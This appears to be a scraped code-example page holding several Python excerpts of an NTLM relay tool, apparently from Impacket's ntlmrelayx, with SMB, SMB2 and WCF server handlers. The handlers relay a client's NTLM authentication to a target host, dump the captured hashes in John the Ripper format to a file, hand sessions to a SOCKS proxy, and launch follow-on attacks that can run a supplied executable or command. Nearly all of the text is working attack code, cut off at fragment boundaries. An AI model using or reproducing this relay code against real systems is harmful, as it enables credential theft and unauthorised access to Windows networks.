                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = connData['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = challengeMessage.getData()

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = connData['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s FAILED" %
                              (self.target.scheme, self.target.netloc,
                               self.authUser))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s SUCCEED" %
                             (self.target.scheme, self.target.netloc,
                              self.authUser))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True,
                                                   self.authUser)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegState'] = b'\x00'

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = connData['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = b'\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()
                LOG.info(
                    "Authenticating against %s://%s as %s SUCCEED" %
                    (self.target.scheme, self.target.netloc, self.authUser))

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])
                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Exemple #8
0
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] )
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())

                if self.config.runSocks is True and self.target[0] == 'SMB':
                    # For now, we only support SOCKS for SMB, for now.
                    # Pass all the data to the socksplugins proxy
                    activeConnections.put((self.target[1], 445, sessionSetupData['Account'], smbClient, connData))
                    logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target[1])
                else:
                    #TODO: Fix this for other protocols than SMB [!]
                    clientThread = self.config.attacks['SMB'](self.config,smbClient,self.config.exeFile,self.config.command)
                    clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],self.target)

                # Remove the target server from our connection list, the work is done
Exemple #9
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']
            else:
               # NEGOTIATE packet
               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
               token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client,token)
                except Exception as e:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid']     = recvPacket['Pid']
                    packet['Tid']     = recvPacket['Tid']
                    packet['Mid']     = recvPacket['Mid']
                    packet['Uid']     = recvPacket['Uid']
                    packet['Data']    = '\x00\x00\x00'
                    packet['ErrorCode']   = errorCode >> 16
                    packet['ErrorClass']  = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
                    authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True)

                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    del (smbData[self.target])

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
            respData['SecurityBlob']       = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData       = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = smbData[self.target]['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid']     = recvPacket['Pid']
                packet['Tid']     = recvPacket['Tid']
                packet['Mid']     = recvPacket['Mid']
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'],
                    sessionSetupData['Account']))

                self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True)

                ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                del (smbData[self.target])

                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS']     = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data']       = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True

        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Exemple #10
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B',securityBlob[0])[0] == ASN1_AID:
           # NEGOTIATE packet
           blob =  SPNEGO_NegTokenInit(securityBlob)
           token = blob['MechToken']
           if len(blob['MechTypes'][0]) > 0:
               # Is this GSSAPI NTLM or something else we don't support?
               mechType = blob['MechTypes'][0]
               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                               mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                   # Nope, do we know it?
                   if mechType in MechTypes:
                       mechStr = MechTypes[mechType]
                   else:
                       mechStr = hexlify(mechType)
                   smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
                   # We don't know the token, we answer back again saying
                   # we just support NTLM.
                   # ToDo: Build this into a SPNEGO_NegTokenResp()
                   respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                   respSMBCommand['SecurityBufferOffset'] = 0x48
                   respSMBCommand['SecurityBufferLength'] = len(respToken)
                   respSMBCommand['Buffer'] = respToken

                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B',securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
           # AUTH packet
           blob = SPNEGO_NegTokenResp(securityBlob)
           token = blob['ResponseToken']
        else:
           # No GSSAPI stuff, raw NTLMSSP
           rawNTLM = True
           token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = smbData[self.target]['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

             #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1,0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = smbData[self.target]['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = str(securityBlob)
                    securityBlob = respToken2.getData()

                clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
                                                              connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
                authenticateMessage['user_name']))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True)

                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                    authenticateMessage['user_name'],
                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],
                                                    authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                del (smbData[self.target])

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = '\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
        def handle(self):
            version_code = self.recvall(1)
            if version_code != b'\x00':
                LOG.error("WCF: wrong VersionRecord code")
                return
            version = self.recvall(2)  # should be \x01\x00 but we don't care
            if version != b'\x01\x00':
                LOG.error("WCF: wrong VersionRecord version")
                return

            mode_code = self.recvall(1)
            if mode_code != b'\x01':
                LOG.error("WCF: wrong ModeRecord code")
                return
            mode = self.recvall(1)  # we don't care

            via_code = self.recvall(1)
            if via_code != b'\x02':
                LOG.error("WCF: wrong ViaRecord code")
                return
            via_len = self.recvall(1)
            via_len = struct.unpack("B", via_len)[0]
            via = self.recvall(via_len).decode("utf-8")

            if not via.startswith("net.tcp://"):
                LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
                                                       "Only NetTcpBinding is currently supported!")
                return

            known_encoding_code = self.recvall(1)
            if known_encoding_code != b'\x03':
                LOG.error("WCF: wrong KnownEncodingRecord code")
                return
            encoding = self.recvall(1)  # we don't care

            upgrade_code = self.recvall(1)
            if upgrade_code != b'\x09':
                LOG.error("WCF: wrong UpgradeRequestRecord code")
                return
            upgrade_len = self.recvall(1)
            upgrade_len = struct.unpack("B", upgrade_len)[0]
            upgrade = self.recvall(upgrade_len).decode("utf-8")

            if upgrade != "application/negotiate":
                LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
                return
            self.request.sendall(b'\x0a')

            while True:
                handshake_in_progress = self.recvall(5)
                if not handshake_in_progress[0] == 0x16:
                    LOG.error("WCF: Wrong handshake_in_progress message")
                    return

                securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
                securityBlob = self.recvall(securityBlob_len)

                rawNTLM = False
                if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
                    # SPNEGO NEGOTIATE packet
                    blob = SPNEGO_NegTokenInit(securityBlob)
                    token = blob['MechToken']
                    if len(blob['MechTypes'][0]) > 0:
                        # Is this GSSAPI NTLM or something else we don't support?
                        mechType = blob['MechTypes'][0]
                        if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                            # Nope, do we know it?
                            if mechType in MechTypes:
                                mechStr = MechTypes[mechType]
                            else:
                                mechStr = hexlify(mechType)
                            LOG.error("Unsupported MechType '%s'" % mechStr)
                            # We don't know the token, we answer back again saying
                            # we just support NTLM.
                            respToken = SPNEGO_NegTokenResp()
                            respToken['NegState'] = b'\x03'  # request-mic
                            respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
                            respToken = respToken.getData()

                            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
                            answer = b'\x16'  # handshake_in_progress
                            answer += b'\x01\x00'  # version
                            answer += struct.pack(">H", len(respToken))  # len
                            answer += respToken

                            self.request.sendall(answer)

                elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
                    # SPNEGO AUTH packet
                    blob = SPNEGO_NegTokenResp(securityBlob)
                    token = blob['ResponseToken']
                    break
                else:
                    # No GSSAPI stuff, raw NTLMSSP
                    rawNTLM = True
                    token = securityBlob
                    break

            if not token.startswith(b"NTLMSSP\0\1"):  # NTLMSSP_NEGOTIATE: message type 1
                LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
                return

            if not self.do_ntlm_negotiate(token):
                # Connection failed
                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                          self.target.scheme, self.target.netloc)
                self.server.config.target.logTarget(self.target)
                return

            # Calculate auth
            ntlmssp_challenge = self.challengeMessage.getData()

            if not rawNTLM:
                # add SPNEGO wrapping
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = ntlmssp_challenge
                ntlmssp_challenge = respToken.getData()

            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
            handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
            self.request.sendall(handshake_in_progress)
            self.request.sendall(ntlmssp_challenge)

            handshake_done = self.recvall(5)

            if handshake_done[0] == 0x15:
                error_len = struct.unpack(">H", handshake_done[3:5])[0]
                error_msg = self.recvall(error_len)
                hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
                LOG.error("WCF: Received handshake_error message: " + hresult)
                return

            ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
            ntlmssp_auth = self.recvall(ntlmssp_auth_len)

            if not rawNTLM:
                # remove SPNEGO wrapping
                blob = SPNEGO_NegTokenResp(ntlmssp_auth)
                ntlmssp_auth = blob['ResponseToken']

            if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"):  # NTLMSSP_AUTH: message type 3
                LOG.error("WCF: Wrong NTLMSSP_AUTH message")
                return

            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(ntlmssp_auth)

            if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
                        authenticateMessage['domain_name'].decode('utf-16le'),
                        authenticateMessage['user_name'].decode('utf-16le')))
                else:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
                        authenticateMessage['domain_name'].decode('ascii'),
                        authenticateMessage['user_name'].decode('ascii')))
                return

            # Relay worked, do whatever we want here...
            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc,
                    authenticateMessage['domain_name'].decode('utf-16le'),
                    authenticateMessage['user_name'].decode('utf-16le')))
            else:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                    authenticateMessage['user_name'].decode('ascii')))

            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                authenticateMessage['user_name'],
                                                authenticateMessage['domain_name'],
                                                authenticateMessage['lanman'], authenticateMessage['ntlm'])
            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

            if self.server.config.outputFile is not None:
                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                      self.server.config.outputFile)

            self.server.config.target.logTarget(self.target, True, self.authUser)

            self.do_attack()
Exemple #12
0
        def do_relay(self, messageType, token, proxy, content = None):
            if messageType == 1:
                if self.server.config.disableMulti:
                    self.target = self.server.config.target.getTarget(multiRelay=False)
                    if self.target is None:
